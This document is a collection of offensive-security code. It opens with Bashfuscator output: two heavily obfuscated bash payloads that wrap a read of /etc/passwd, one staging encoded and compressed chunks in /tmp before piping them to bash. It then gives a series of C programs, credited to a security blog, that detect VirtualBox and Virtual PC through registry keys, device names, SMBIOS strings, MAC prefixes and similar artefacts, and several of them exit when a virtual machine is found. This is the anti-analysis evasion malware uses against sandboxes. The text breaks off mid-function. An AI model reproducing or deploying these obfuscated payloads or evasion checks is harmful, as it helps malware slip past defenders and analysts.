$ bashfuscator -c "cat /etc/passwd"

[+] Mutators used: Token/ForCode -> Command/Reverse
[+] Payload:

   ${@/l+Jau/+<b=k } p''"r"i""n$'t\u0066' %s  "$(      ${*%%Frf\[4?T2   }  ${*##0\!j.G }   "r"'e'v <<< '  "} ~@{$"  ")  }  j@C`\7=-k#*{$   "}   ,@{$" ; }  ;   } ,,*{$  "}]  }   ,*{$  "}   f9deh`\>6/J-F{\,vy//@{$" niOrw$   } QhwV#@{$ [NMpHySZ{$" s%  "f"'"'"'4700u\n9600u\r'"'"'$p  {   ;  }  ~*{$  "}  48T`\PJc}\#@{$"  1#31  "}  ,@{$"  }  D$y?U%%*{$ 0#84  *$   }   Lv:sjb/@{$   2#05   }   ~@{$   2#4   }*!{$  }   OGdx7=um/X@RA{\eA/*{$ 1001#2   }   Scnw:i/@{$  } ~~*{$  11#4   "} O#uG{\HB%@{$"  11#7 "} ^^@{$" 011#2   "}   ~~@{$" 11#3 }  L[\h3m/@{$  "}   ~@{$" 11#2 }  6u1N.b!\b%%*{$   }   YCMI##@{$   31#5 "} ,@{$" 01#7  }  (\}\;]\//*{$ }   %#6j/?pg%m/*{$   001#2  "}  6IW]\p*n%@{$"  }  ^^@{$ 21#7  } !\=jy#@{$  }   tz}\k{\v1/?o:Sn@V/*{$  11#5   ni   niOrw  rof ;   "}   ,,@{$" } MD`\!\]\P%%*{$   )  }@{$   a   }  ogt=y%*{$ "@$" /\   }   {\nZ2^##*{$    \   *$  c  }@{$  }   h;|Yeen{\/.8oAl-RY//@{$   p  *$  "}@{$" t   }  zB(\R//*{$  } mX=XAFz_/9QKu//*{$  e   *$  s  } ~~*{$  d   }  ,*{$   }  2tgh%X-/L=a_r#f{\//*{$   w }  {\L8h=@*##@{$   "}   W9Zw##@{$" (=NMpHySZ    ($" la'"'"''"'"'"v"'"'"''"'"''"'"'541\'"'"'$  } &;@0#*{$ '  "${@}""${@%%Ij\[N   }"   ${@~~  }   )" ${!*} |   $@  $'b\u0061'''sh   ${*//J7\{=.QH   } 

[+] Payload size: 1232 characters

bashfuscator -c "cat /etc/passwd" --choose-mutators token/special_char_only compress/bzip2 string/file_glob -s 1
[+] Payload:

"${@#b }" "e"$'\166'"a""${@}"l "$(  ${!@}m''$'k\144'''ir -p '/tmp/wW'${*~~} ;$'\x70'"${@/AZ }"rin""tf  %s  'MxJDa0zkXG4CsclDKLmg9KW6vgcLDaMiJNkavKPNMxU0SJqlJfz5uqG4rOSimWr2A7L5pyqLPp5kGQZRdUE3xZNxAD4EN7HHDb44XmRpN2rHjdwxjotov9teuE8dAGxUAL'>  '/tmp/wW/?

??';  prin${@#K. }tf %s  'wYg0iUjRoaGhoNMgYgAJNKSp+lMGkx6pgCGRhDDRGMNDTQA0ABoAAZDQIkhCkyPNIm1DTQeppjRDTTQ8D9oqA/1A9DjGhOu1W7/t4J4Tt4fE5+isX29eKzeMb8pJsPya93' >  '/tmp/wW/???

'"${@,, }" &&${*}pri''\n${*,}tf %s 'RELKWCoKqqFP5VElVS5qmdRJQelAziQTBBM99bliyhIQN8VyrjiIrkd2LFQIrwLY2E9ZmiSYqay6JNmzeWAklyhFuph1mXQry8maqHmtSAKnNr17wQlIXl/ioKq4hMlx76'>'/tmp/wW/??

';"${@,  }" $'\x70'rintf  %s 'clDkczJBNsB1gAOsW2tAFoIhpWtL3K/n68vYs4Pt+tD6+2X4FILnaFw4xaWlbbaJBKjbGLouOj30tcP4cQ6vVTp0H697aeleLe4ebnG95jynuNZvbd1qiTBDwAPVLTtCLx'>'/tmp/wW/?

?' ;  ${*/~} p""${@##vl  }ri""n''tf %s  ' pr'"'"'i'"'"'$'"'"'n\x74'"'"'f %s  "$( prin${*//N/H  }tf  '"'"'QlpoOTFBWSZTWVyUng4AA3R/gH7z/+Bd/4AfwAAAD8AAAA9QA/7rm7NzircbE1wlCTBEamT1PKekxqYIA9TNQ'>'/tmp/wW/????' "${@%\`  }" ;p''r""i$'\x6e'''$'\164'"f" %s 'puxuZjSK09iokSwsERuYmYxzhEOARc1UjcKZy3zsiCqG5AdYHeQACRPKqVPIqkxaQnt/RMmoLKqCiypS0FLaFtirJFqQtbJLUVFoB/qUmEWVKxVFBYjHZcIAYlVRbkgWjh' >'/tmp/wW/?

' ${*};"p"rin''$'\x74f' %s  'Gs02t3sw+yFjnPjcXLJSI5XTnNzNMjJnSm0ChZQfSiFbxj6xzTfngZC4YbPvaCS3jMXvYinGLUWVfmuXtJXX3dpu379mvDn917Pg7PaoCJm2877OGzLn0y3FtndddpDohg'>'/tmp/wW/?

?

'&& "${@^^ }" pr""intf  %s  'Q+kXS+VgQ9OklAYb+q+GYQQzi4xQDlAGRJBCQbaTSi1cpkRmZlhSkDjcknJUADEBeXJAIFIyESJmDEwQExXjV4+vkDaHY/iGnNFBTYfo7kDJIucUES5mATqrAJ/KIyv1UV'> '/tmp/wW/

???' ${*^}; ${!@}  "${@%%I  }"pri""n$'\x74f' %s '1w6xQDwURXSpvdUvYXckU4UJBclJ4OA'"'"' |""b${*/t/\(  }a\se$'"'"'6\x34'"'"' -d| bu${*/\]%}nzi'"'"'p'"'"'${!@}2  -c)" $@  |${@//Y^  } \ba\s"h" '>  '/tmp/wW/

??

' ${@%b  } ;  pr"i"\ntf  %s  'g8oZ91rJxesUWCIaWikkYQDim3Zw341vrli0kuGMuiZ2Q5IkkgyAAJFzgqiRWXergULhLMNTjchAQSXpRWQUgklCEQLxOyAMq71cGgKMzrWWKlrlllq1SXFNRqsRBZsKUE'>  '/tmp/wW/??

?'"${@//Y  }" ;$'c\141t''/tmp/wW'/????  ${*/m};"${@,,  }" $'\162'\m '/tmp/wW'/????  &&${@^ }rmd\ir  '/tmp/wW'; ${@^^  }   )" "${@}"



[+] Payload size: 2062 characters

//http://waleedassar.blogspot.com - (@waleedassar)
 #include "stdafx.h"
 #include "windows.h"


 void ToLower(unsigned char* Pstr)
 {
         char* P=(char*)Pstr;
         unsigned long length=strlen(P);
         for(unsigned long i=0;i<length;i++) P[i]=tolower(P[i]);
         return;
 }

 int main(int argc, char* argv[])
 {
         //method 1
         HKEY HK=0;
         if(RegOpenKeyEx(HKEY_LOCAL_MACHINE,"HARDWARE\\ACPI\\DSDT\\VBOX__",0,KEY_READ,&HK)==ERROR_SUCCESS)
         {
                                 MessageBox(0,"VirtualBox detected","waliedassar",0);
                         ExitProcess(1);
         }

         //method 2 -- requires Guest Additions to be installed.
         HANDLE hF1=CreateFile("\\\\.\\VBoxMiniRdrDN",GENERIC_READ,FILE_SHARE_READ|FILE_SHARE_WRITE|FILE_SHARE_DELETE,0,OPEN_EXISTING,0,0);
         if(hF1!=INVALID_HANDLE_VALUE)
         {
                 MessageBox(0,"VirtualBox detected","waliedassar",0);
                 ExitProcess(2);
         }


         //method 3 -- requires Guest Additions to be installed
         HMODULE hM1=LoadLibrary("VBoxHook.dll");
         if(hM1)
         {
                 MessageBox(0,"VirtualBox detected","waliedassar",0);
                 ExitProcess(3);
         }

         //method 4 -- requires Guest Additions to be installed
         HK=0;
         if( (ERROR_SUCCESS==RegOpenKeyEx(HKEY_LOCAL_MACHINE,"SOFTWARE\\Oracle\\VirtualBox Guest Additions",0,KEY_READ,&HK)) && HK)
         {
                 MessageBox(0,"VirtualBox detected","waliedassar",0);
                 RegCloseKey(HK);
                 ExitProcess(4);
         }

         //method 5
         HK=0;
         char* subkey="SYSTEM\\CurrentControlSet\\Enum\\IDE";
         if( (ERROR_SUCCESS==RegOpenKeyEx(HKEY_LOCAL_MACHINE,subkey,0,KEY_READ,&HK)) && HK )
         {
                 unsigned long n_subkeys=0;
                 unsigned long max_subkey_length=0;
                 if(ERROR_SUCCESS==RegQueryInfoKey(HK,0,0,0,&n_subkeys,&max_subkey_length,0,0,0,0,0,0))
                 {
                         if(n_subkeys)  //Usually n_subkeys are 2
                         {
                               char* pNewKey=(char*)LocalAlloc(LMEM_ZEROINIT,max_subkey_length+1);
                                   for(unsigned long i=0;i<n_subkeys;i++)  //Usually n_subkeys are 2
                                   {
                                               memset(pNewKey,0,max_subkey_length+1);
                                               HKEY HKK=0;
                           if(ERROR_SUCCESS==RegEnumKey(HK,i,pNewKey,max_subkey_length+1))
                                                   {
                                                            if((RegOpenKeyEx(HK,pNewKey,0,KEY_READ,&HKK)==ERROR_SUCCESS)  && HKK)
                                                            {
                                                                      unsigned long nn=0;
                                                                      unsigned long maxlen=0;
                                                                      RegQueryInfoKey(HKK,0,0,0,&nn,&maxlen,0,0,0,0,0,0);
                                      char* pNewNewKey=(char*)LocalAlloc(LMEM_ZEROINIT,maxlen+1);
                                                                          if(RegEnumKey(HKK,0,pNewNewKey,maxlen+1)==ERROR_SUCCESS)
                                                                          {
                                                                                        HKEY HKKK=0;
                                                                                    if(RegOpenKeyEx(HKK,pNewNewKey,0,KEY_READ,&HKKK)==ERROR_SUCCESS)
                                                                                            {
                                                                                                 unsigned long size=0xFFF;
                                                                                                 unsigned char ValName[0x1000]={0};
                                                                                     if(RegQueryValueEx(HKKK,"FriendlyName",0,0,ValName,&size)==ERROR_SUCCESS)
                                                                                                         {
                                                                                                          ToLower(ValName);
                                                                                                          if(strstr((char*)ValName,"vbox"))
                                                                                                                  {
                                                                                                                 MessageBox(0,"VirtualBox detected","waliedassar",0);
                                                                                                                 ExitProcess(5);
                                                                                                                  }
                                                                                                         }
                                                                                                         RegCloseKey(HKKK);
                                                                                            }
                                                                          }
                                                                          LocalFree(pNewNewKey);
                                                                          RegCloseKey(HKK);
                                                            }
                                                   }
                                   }
                                   LocalFree(pNewKey);
                         }
                 }
                 RegCloseKey(HK);
         }

         //method 6
         HK=0;
         if(RegOpenKeyEx(HKEY_LOCAL_MACHINE,"HARDWARE\\DESCRIPTION\\System",0,KEY_READ,&HK)==ERROR_SUCCESS)
         {
                 unsigned long type=0;
                 unsigned long size=0x100;
                 char* systembiosversion=(char*)LocalAlloc(LMEM_ZEROINIT,size+10);
                 if(ERROR_SUCCESS==RegQueryValueEx(HK,"SystemBiosVersion",0,&type,(unsigned char*)systembiosversion,&size))
                 {
                           ToLower((unsigned char*)systembiosversion);
                           if(type==REG_SZ||type==REG_MULTI_SZ)
                           {
                                           if(strstr(systembiosversion,"vbox"))
                                           {
                                                                         MessageBox(0,"VirtualBox detected","waliedassar",0);
                                                                         ExitProcess(6);
                                           }
                           }
                 }
                 LocalFree(systembiosversion);

                 type=0;
                 size=0x200;
                 char* videobiosversion=(char*)LocalAlloc(LMEM_ZEROINIT,size+10);
                 if(ERROR_SUCCESS==RegQueryValueEx(HK,"VideoBiosVersion",0,&type,(unsigned char*)videobiosversion,&size))
                 {
                         if(type==REG_MULTI_SZ)
                         {
                                 char* video=videobiosversion;
                                 while(*(unsigned char*)video)
                                 {
                                         ToLower((unsigned char*)video);
                                         if(strstr(video,"oracle")||strstr(video,"virtualbox") )
                                         {
                                                                         MessageBox(0,"VirtualBox detected","waliedassar",0);
                                                                         ExitProcess(6);
                                         }
                                         video=&video[strlen(video)+1];
                                 }
                         }
                 }
                 LocalFree(videobiosversion);
                 RegCloseKey(HK);
         }
         //method 7 - requires guest additions to be installed.
         HANDLE hxx=CreateFile("\\\\.\\pipe\\VBoxTrayIPC",GENERIC_READ,FILE_SHARE_READ|FILE_SHARE_WRITE,0,OPEN_EXISTING,0,0);
         if(hxx!=INVALID_HANDLE_VALUE)
         {
                         MessageBox(0,"VirtualBox detected","waliedassar",0);
                         CloseHandle(hxx);
                         ExitProcess(7);
         }
         //method 8 - requires guest additions installed
         HWND hY1=FindWindow("VBoxTrayToolWndClass",0);
         HWND hY2=FindWindow(0,"VBoxTrayToolWnd");
         if(hY1 || hY2)
         {
                 MessageBox(0,"VirtualBox detected","waliedassar",0);
                 ExitProcess(8);
         }

        //method 9
        unsigned long pnsize=0x1000;
        char* provider=(char*)LocalAlloc(LMEM_ZEROINIT,pnsize);
        int retv=WNetGetProviderName(WNNC_NET_RDR2SAMPLE,provider,&pnsize);
        if(retv==NO_ERROR)
        {
                 if(lstrcmpi(provider,"VirtualBox Shared Folders")==0)
                 {
                         MessageBox(0,"VirtualBox detected","waliedassar",0);
                         ExitProcess(9);
                 }
        }
        return 0;
 }

//http://waleedassar.blogspot.com/   (@waleedassar)
 //Using the "WNetGetProviderName" function to detect VirtualBox.
 //Thanks @deesse_k for the idea

 #include "stdafx.h"
 #include "windows.h"
 #include "Winnetwk.h"

 #pragma comment(lib,"MPR")

 int main(void)
 {
            //method 9
        unsigned long pnsize=0x1000;
        char* provider=(char*)LocalAlloc(LMEM_ZEROINIT,pnsize);
        int retv=WNetGetProviderName(WNNC_NET_RDR2SAMPLE,provider,&pnsize);
        if(retv==NO_ERROR)
        {
                 if(lstrcmpi(provider,"VirtualBox Shared Folders")==0)
                 {
                         MessageBox(0,"VirtualBox detected","waliedassar",0);
                         ExitProcess(9);
                 }
        }
        return 0;
 }

//http://waleedassar.blogspot.com (@waleedassar)
 //MS VC++ 2005 + DirectX SDK
 #include "stdafx.h"
 #include "dxdiag.h"
 #include "stdio.h"

 int main(int argc, _TCHAR* argv[])
 {
     HRESULT hr=CoInitialize(0);
     if(!SUCCEEDED(hr)) return 0;
     IDxDiagProvider* pProvider = NULL;
     hr=CoCreateInstance(CLSID_DxDiagProvider,0,CLSCTX_INPROC_SERVER,IID_IDxDiagProvider,(void**)&pProvider );
     if(!SUCCEEDED(hr))
     {
         CoUninitialize();
         return 0;
     }
     DXDIAG_INIT_PARAMS InitParams={0};
     InitParams.dwSize=sizeof(DXDIAG_INIT_PARAMS);
     InitParams.dwDxDiagHeaderVersion=DXDIAG_DX9_SDK_VERSION;
     InitParams.bAllowWHQLChecks=false;
     hr=pProvider->Initialize(&InitParams);
     if(SUCCEEDED(hr))
     {
           IDxDiagContainer* pDxDiagRoot=0;
           IDxDiagContainer* pDxDiagSystemInfo=0;
           hr=pProvider->GetRootContainer(&pDxDiagRoot );
           if(SUCCEEDED(hr)) 
           {
                 hr=pDxDiagRoot->GetChildContainer( L"DxDiag_SystemInfo", &pDxDiagSystemInfo );
                 if(SUCCEEDED(hr) )
                 {
                        VARIANT varX;
                        hr=pDxDiagSystemInfo->GetProp( L"szSystemManufacturerEnglish",&varX);
                        if( SUCCEEDED(hr)&&varX.vt==VT_BSTR && SysStringLen(varX.bstrVal)!=0)
                        {
                            wchar_t* pMan=varX.bstrVal;
                            wprintf(L"System Manufacturer is %s\r\n",pMan);
                            if(!_wcsicmp(pMan,L"innotek GmbH"))
                            {
                                printf("VirtualBox detected\r\n");
                            }
                        }
                        VariantClear(&varX);
                        hr=pDxDiagSystemInfo->GetProp( L"szSystemModelEnglish",&varX);
                        if( SUCCEEDED(hr)&&varX.vt==VT_BSTR && SysStringLen(varX.bstrVal)!=0)
                        {
                            wchar_t* pMan=varX.bstrVal;
                            wprintf(L"System Model is %s\r\n",pMan);
                            if(!_wcsicmp(pMan,L"VirtualBox"))
                            {
                                printf("VirtualBox detected\r\n");
                            }
                        }
                        VariantClear(&varX);
                        pDxDiagSystemInfo->Release();
                 }
                 pDxDiagRoot->Release();
         }
         //pProvider->Release();
     }
     CoUninitialize();
     return 0;
 }

//http://waleedassar.blogspot.com (@waleedassar)
 //Reading "SMBiosData" to extract Bios Brand and Bios Version strings from registry.
 //If the Bios Brand string is "innotek GmbH" or Bios Version is "VirtualBox", then it is a sign that we are running in VirtualBox.
 //You can also use WMI to extract the same info.
 #include "stdafx.h"
 #include "windows.h"
 #include "stdio.h"


 void AllToUpper(char* str,unsigned long len)
 {
     for(unsigned long c=0;c<len;c++)
     {
         if(str[c]>='a'&& str[c]<='z')
         {
             str[c]-=32;
         }
     }
 }

 unsigned char* ScanDataForString(unsigned char* data,unsigned long data_length,unsigned char* string2)
 {
     unsigned long string_length=strlen((char*)string2);
     for(unsigned long i=0;i<=(data_length-string_length);i++)
     {
         if(strncmp((char*)(&data[i]),(char*)string2,string_length)==0) return &data[i];
     }
     return 0;
 }

 int main(int argc, char* argv[])
 {
     HKEY hk=0;
     int ret=RegOpenKeyEx(HKEY_LOCAL_MACHINE,"SYSTEM\\CurrentControlSet\\Services\\mssmbios\\data",0,KEY_ALL_ACCESS,&hk);
     if(ret==ERROR_SUCCESS)
     {
         unsigned long type=0;
         unsigned long length=0;
         ret=RegQueryValueEx(hk,"SMBiosData",0,&type,0,&length);
         if(ret==ERROR_SUCCESS)
         {
             if(length)
             {
                 char* p=(char*)LocalAlloc(LMEM_ZEROINIT,length);
                 if(p)
                 {
                     ret=RegQueryValueEx(hk,"SMBiosData",0,&type,(unsigned char*)p,&length);
                     if(ret==ERROR_SUCCESS)
                     {
                           AllToUpper(p,length);
                           unsigned char* x1=ScanDataForString((unsigned char*)p,length,(unsigned char*)"INNOTEK GMBH");
                           unsigned char* x2=ScanDataForString((unsigned char*)p,length,(unsigned char*)"VIRTUALBOX");
                           unsigned char* x3=ScanDataForString((unsigned char*)p,length,(unsigned char*)"SUN MICROSYSTEMS");
                           unsigned char* x4=ScanDataForString((unsigned char*)p,length,(unsigned char*)"VIRTUAL MACHINE");
                           unsigned char* x5=ScanDataForString((unsigned char*)p,length,(unsigned char*)"VBOXVER");
                           if(x1 || x2 || x3 || x4 || x5)
                           {
                               printf("VirtualBox detected\r\n");
                               printf("Some Strings found:\r\n");
                               if(x1) printf("%s\r\n",x1);
                               if(x2) printf("%s\r\n",x2);
                               if(x3) printf("%s\r\n",x3);
                               if(x4) printf("%s\r\n",x4);
                               if(x5) printf("%s\r\n",x5);
                           }
                     }
                     LocalFree(p);
                 }
             }
         }
         RegCloseKey(hk);
     }
     return 0;
 }

//http://waleedassar.blogspot.com (@waleedassar)
 //Reading "SMBiosData" to extract Bios Brand and Bios Version strings via WMI COM access. If the Bios Brand string is //"innotek GmbH" or Bios Version is "VirtualBox", then it is a sign that we are running in VirtualBox.

 #include "stdafx.h"
 #include <comdef.h>
 #include <Wbemidl.h>
 #include "stdio.h"

 #pragma comment(lib, "wbemuuid.lib")


 void AllToUpper(unsigned char* str,unsigned long len)
 {
     for(unsigned long c=0;c<len;c++)
     {
         if(str[c]>='a'&& str[c]<='z')
         {
             str[c]-=32;
         }
     }
 }

 unsigned char* ScanDataForString(unsigned char* data,unsigned long data_length,unsigned char* string2)
 {
     unsigned long string_length=(unsigned long)strlen((char*)string2);
     for(unsigned long i=0;i<=(data_length-string_length);i++)
     {
         if(strncmp((char*)(&data[i]),(char*)string2,string_length)==0) return &data[i];
     }
     return 0;
 }
 int main(int argc, _TCHAR* argv[])
 {
     BSTR rootwmi=SysAllocString(L"root\\wmi");
     BSTR tables=SysAllocString(L"MSSmBios_RawSMBiosTables");
     BSTR biosdata=SysAllocString(L"SMBiosData");

     HRESULT hr=CoInitializeEx(0, COINIT_MULTITHREADED);
     if(!SUCCEEDED(hr)) return 0;
     IWbemLocator* pLoc=0;
     hr=CoCreateInstance(CLSID_WbemLocator,0,CLSCTX_INPROC_SERVER,IID_IWbemLocator,(void**)&pLoc);
     if(!SUCCEEDED(hr))
     {
         CoUninitialize();
         return 0;
     }
     IWbemServices* pSvc=0;
     hr=pLoc->ConnectServer(rootwmi,0 ,0 ,0 ,0,0,0,&pSvc);
     if(!SUCCEEDED(hr))
     {
         pLoc->Release();     
         CoUninitialize();
         return 0;
     }
     hr=CoSetProxyBlanket(pSvc,RPC_C_AUTHN_WINNT,RPC_C_AUTHZ_NONE,0,RPC_C_AUTHN_LEVEL_CALL,RPC_C_IMP_LEVEL_IMPERSONATE,0,EOAC_NONE);
     if(!SUCCEEDED(hr))
     {
         pSvc->Release();
         pLoc->Release();     
         CoUninitialize();
         return 0;
     }

     IEnumWbemClassObject* pEnum=0;
     hr=pSvc->CreateInstanceEnum(tables,0,0, &pEnum);
     if(!SUCCEEDED(hr))
     {
         pSvc->Release();
         pLoc->Release();     
         CoUninitialize();
         return 0;
     }

     IWbemClassObject* pInstance=0;
     unsigned long Count=0;
     hr=pEnum->Next(WBEM_INFINITE,1,&pInstance,&Count);
     if(SUCCEEDED(hr))
     {        
          VARIANT BiosData;
          VariantInit(&BiosData);
          CIMTYPE type;
          hr=pInstance->Get(biosdata,0,&BiosData,&type,NULL);
          if(SUCCEEDED(hr))
          {
                      SAFEARRAY* p_array = NULL;
                      p_array = V_ARRAY(&BiosData);
                      unsigned char* p_data=(unsigned char *)p_array->pvData;
                      unsigned long length=p_array->rgsabound[0].cElements;
                      AllToUpper(p_data,length);
                      unsigned char* x1=ScanDataForString((unsigned char*)p_data,length,(unsigned char*)"INNOTEK GMBH");
                      unsigned char* x2=ScanDataForString((unsigned char*)p_data,length,(unsigned char*)"VIRTUALBOX");
                      unsigned char* x3=ScanDataForString((unsigned char*)p_data,length,(unsigned char*)"SUN MICROSYSTEMS");
                      unsigned char* x4=ScanDataForString((unsigned char*)p_data,length,(unsigned char*)"VIRTUAL MACHINE");
                      unsigned char* x5=ScanDataForString((unsigned char*)p_data,length,(unsigned char*)"VBOXVER");
                      if(x1 || x2 || x3 || x4 || x5)
                      {
                               printf("VirtualBox detected\r\n");
                               printf("Some Strings found:\r\n");
                               if(x1) printf("%s\r\n",x1);
                               if(x2) printf("%s\r\n",x2);
                               if(x3) printf("%s\r\n",x3);
                               if(x4) printf("%s\r\n",x4);
                               if(x5) printf("%s\r\n",x5);
                     }
          }
          VariantClear(&BiosData);
          pInstance->Release();
     }
     pSvc->Release();
     pLoc->Release();     
     CoUninitialize();
     ExitProcess(0);
     return 0;
 }

//http://waleedassar.blogspot.com (@waleedassar)
 //The following code parses the SMBiosData retrieved from the Windows registry and searches for any structures of TYPE TYPE_INACTIVE (126, 0x7E). This is a sign of VirtualBox existence.
 #include "stdafx.h"
 #include "windows.h"
 #include "stdio.h"

 #define TYPE_BIOS 0x0    //e.g. Bios Brand and Version
 #define TYPE_SYSTEM 0x1  //System Manufacturer and Model
 #define TYPE_BASEBOARD 0x2
 #define TYPE_SYSTEM_ENCLOSURE 0x3
 #define TYPE_PROCESSOR 0x4
 #define TYPE_CACHE_INFO 0x7
 #define TYPE_SYSTEM_SLOTS 0x9
 #define TYPE_OEM_STRINGS 0xB
 #define TYPE_PHYSICAL_MEM_ARRAY 0x10
 #define TYPE_MEMORY_DEVICE    0x11
 #define TYPE_MEMORY_ARRAY_MAPPED_ADDRESS 0x13
 #define TYPE_SYSTEM_BOOT_INFORMATION 0x20
 #define TYPE_INACTIVE 0x7E //???? this one
 #define TYPE_END_OF_STRUCTURE 0x7F

 //----This structure is only need for parsing SMBiosData retrieved from Registry.
 //Not needed for parsing SMBiosData retrieved Via WMI
 struct BIOS_DATA_HEAD
 {
     unsigned char a1;
     unsigned char a2;
     unsigned char a3;
     unsigned char a4;
     unsigned long length;
 };

 struct HeadER
 {
     unsigned char Type;  //0 for bios, 1 for system, and so on.
     unsigned char section_length;
     unsigned short handles;
 };

 void AllToUpper(char* str,unsigned long len)
 {
     for(unsigned long c=0;c<len;c++)
     {
         if(str[c]>='a'&& str[c]<='z')
         {
             str[c]-=32;
         }
     }
 }

 void PrintType(unsigned char type)
 {
      printf("----------------------------------------\r\n");
      if(type==TYPE_BIOS) printf("Type: BIOS\r\n");
      else if(type==TYPE_SYSTEM) printf("Type: SYSTEM INFO\r\n");
      else if(type==TYPE_BASEBOARD) printf("Type: BASEBOARD\r\n");
      else if(type==TYPE_SYSTEM_ENCLOSURE) printf("Type: BIOS\r\n");
      else if(type==TYPE_PROCESSOR) printf("Type: PROCESSOR\r\n");
      else if(type==TYPE_CACHE_INFO) printf("Type: CACHE INFO\r\n");
      else if(type==TYPE_SYSTEM_SLOTS) printf("Type: SYSTEM SLOTS\r\n");
      else if(type==TYPE_OEM_STRINGS) printf("Type: OEM STRINGS\r\n");
      else if(type==TYPE_PHYSICAL_MEM_ARRAY) printf("Type: PHYSICAL MEMORY ARRAY\r\n");
      else if(type==TYPE_MEMORY_DEVICE) printf("Type: MEMORY DEVICE\r\n");
      else if(type==TYPE_MEMORY_ARRAY_MAPPED_ADDRESS) printf("Type: MEMORY ARRAY MAPPED ADDRESS\r\n");
      else if(type==TYPE_SYSTEM_BOOT_INFORMATION) printf("Type: SYSTEM BOOT INFORMATION\r\n");
      else if(type==TYPE_END_OF_STRUCTURE)   printf("Type: END OF STRUCTURE\r\n");
      else printf("Type: %X\r\n",type);
 }
 //index 1 represents the first string
 char* PrintString(char* pString,unsigned long index)
 {
     index--;
     while(index)
     {
         unsigned long length=strlen(pString);
         pString+=(length+1);
         if(*pString==0)
         {
             printf("String is: Error retrieving string\r\n");
             return 0;
         }
         index--;
     }
     printf("String is: %s\r\n",pString);
     return pString;
 }

 unsigned char* ScanDataForString(unsigned char* data,unsigned long data_length,unsigned char* string2)
 {
     unsigned long string_length=strlen((char*)string2);
     for(unsigned long i=0;i<=(data_length-string_length);i++)
     {
         if(strncmp((char*)(&data[i]),(char*)string2,string_length)==0) return &data[i];
     }
     return 0;
 }

 int main(int argc, char* argv[])
 {
     HKEY hk=0;
     int ret=RegOpenKeyEx(HKEY_LOCAL_MACHINE,"SYSTEM\\CurrentControlSet\\Services\\mssmbios\\data",0,KEY_ALL_ACCESS,&hk);
     if(ret==ERROR_SUCCESS)
     {
         unsigned long type=0;
         unsigned long length=0;
         ret=RegQueryValueEx(hk,"SMBiosData",0,&type,0,&length);
         if(ret==ERROR_SUCCESS)
         {
             if(length)
             {
                 char* p=(char*)LocalAlloc(LMEM_ZEROINIT,length);
                 if(p)
                 {
                     ret=RegQueryValueEx(hk,"SMBiosData",0,&type,(unsigned char*)p,&length);
                     if(ret==ERROR_SUCCESS)
                     {
                         //--------------------------Only when parsing SMBiosData retrieved from Registry------------------
                         unsigned long new_length=((BIOS_DATA_HEAD*)p)->length;  //length-8
                         p+=0x8;
                         printf("Length is: %X\r\n",new_length);
                         //------------------------------------------------------------------------------------------------
                         unsigned long i=0;
                         while(i<new_length)
                         {
                             unsigned char type=((HeadER*)(p+i))->Type;
                             PrintType(type);
                             unsigned char section_size=((HeadER*)(p+i))->section_length;
                             printf("Section length is: %X\r\n",section_size);
                             unsigned short handles=((HeadER*)(p+i))->handles;
                             printf("Handle is: %X\r\n",handles);

                             if(type==0x7F) break; //End-Of-Table

                             if(type==TYPE_INACTIVE) //0x7E
                             {
                                 PrintString(p+i+section_size,*(p+i+4));   //print Brand
                                 PrintString(p+i+section_size,*(p+i+5));   //print Version
                                 MessageBox(0,"VirtualBox detected","waliedassar",0);
                             }
                             //---Get End of Structure--------------
                             unsigned char* pxp=(unsigned char*)p+i+section_size;
                             while(*(unsigned short*)pxp!=0) pxp++;
                             pxp++;
                             pxp++;
                             //-------------------------------------
                             i=(pxp-((unsigned char*)p));
                         }
                     }
                     LocalFree(p);
                 }
             }
         }
         RegCloseKey(hk);
     }
     return 0;
 }

//http://waleedassar.blogspot.com (@waleedassar)
 //VirtualBox Adapters (Host and Guests) always have their MAC addresses in the form of 08-00-27-??-??-??. This range was originally assigned to Cadmus Computer Systems.
 //This might show false positive results, but has not been witnessed so far.
 #include "stdafx.h"
 #include "winsock2.h"
 #include "iphlpapi.h"
 #include "ws2tcpip.h"
 #include "windows.h"
 #include "stdio.h"


 int main(int argc, char* argv[])
 {
     WSADATA WSD;
     if(!WSAStartup(MAKEWORD(2,2),&WSD))
     {
         unsigned long tot_size=0;
         int ret=GetAdaptersAddresses(AF_UNSPEC,GAA_FLAG_INCLUDE_PREFIX,0,0,&tot_size);
         if(ret==ERROR_BUFFER_OVERFLOW)
         {
             IP_ADAPTER_ADDRESSES* px=(IP_ADAPTER_ADDRESSES*)LocalAlloc(LMEM_ZEROINIT,tot_size);
             if(px)
             {
                 ret=GetAdaptersAddresses(AF_UNSPEC,GAA_FLAG_INCLUDE_PREFIX,0,px,&tot_size);
                 IP_ADAPTER_ADDRESSES* pxx=px;
                 //Traverse a singly-linked list
                 for(pxx;pxx;pxx=pxx->Next)
                 {
                     if(pxx->PhysicalAddressLength==0x6)
                     {
                         if(wcsicmp(pxx->FriendlyName,L"VirtualBox Host-Only Network"))  //We don't want to detect the HOST OS
                         {
                             char xx[0x6]={0};
                             memcpy(xx,pxx->PhysicalAddress,0x6);
                             if(xx[0]==0x08&& xx[1]==0x00 && xx[2]==0x27) //Cadmus Computer Systems Mac address
                             {
                                 MessageBox(0,L"VirtualBox detected",L"waliedassar",0);
                             }
                         }
                     }
                 }
                 LocalFree(px);
             }
         }
         WSACleanup();
     }
     ExitProcess(0);
     return 0;
 }

//http://waleedassar.blogspot.com (@waleedassar)
 //If you happen to have a mapped shared folder inside VirtualBox, then it always has the File system named "VBoxSharedFolderFS".
 #include "stdafx.h"
 #include "windows.h"
 #include "stdio.h"

 int main(int argc, char* argv[])
 {
     for(unsigned char x='A';x<='Z';x++)
     {
         char drv[0x4]={0};
         drv[0]=x;
         drv[1]=':';
         drv[2]='\\';
         if(DRIVE_REMOTE==GetDriveType(drv))
         {
             char FSName[0x110]={0};
             if(GetVolumeInformation(drv,0,0,0,0,0,FSName,0x100))
             {
                 if(strcmpi("VBoxSharedFolderFS",FSName)==0)
                 {
                     MessageBox(0,"VirtualBox detected","walied",0);
                 }
                 else
                 {
                     printf("%s %s\r\n",drv,FSName);
                 }
             }
         }
     }
     return 0;
 }

//http://waleedassar.blogspot.com
 //http://www.twitter.com/waleedassar
 //Use this code to detect if Windows XP is running inside Virtual PC 2007
 #include "stdafx.h"
 #include "windows.h"
 #include "stdio.h"

 #define CONTEXT_ALL 0x1003F

 int dummy(int);
 unsigned long gf=0;
 int __cdecl Handler(EXCEPTION_RECORD* pRec,void* est,unsigned char* pContext,void* disp)
 {
     if(pRec->ExceptionCode==0xC0000096)  //Privileged instruction
     {
         //---------------------Installing the trick--------------------------------------
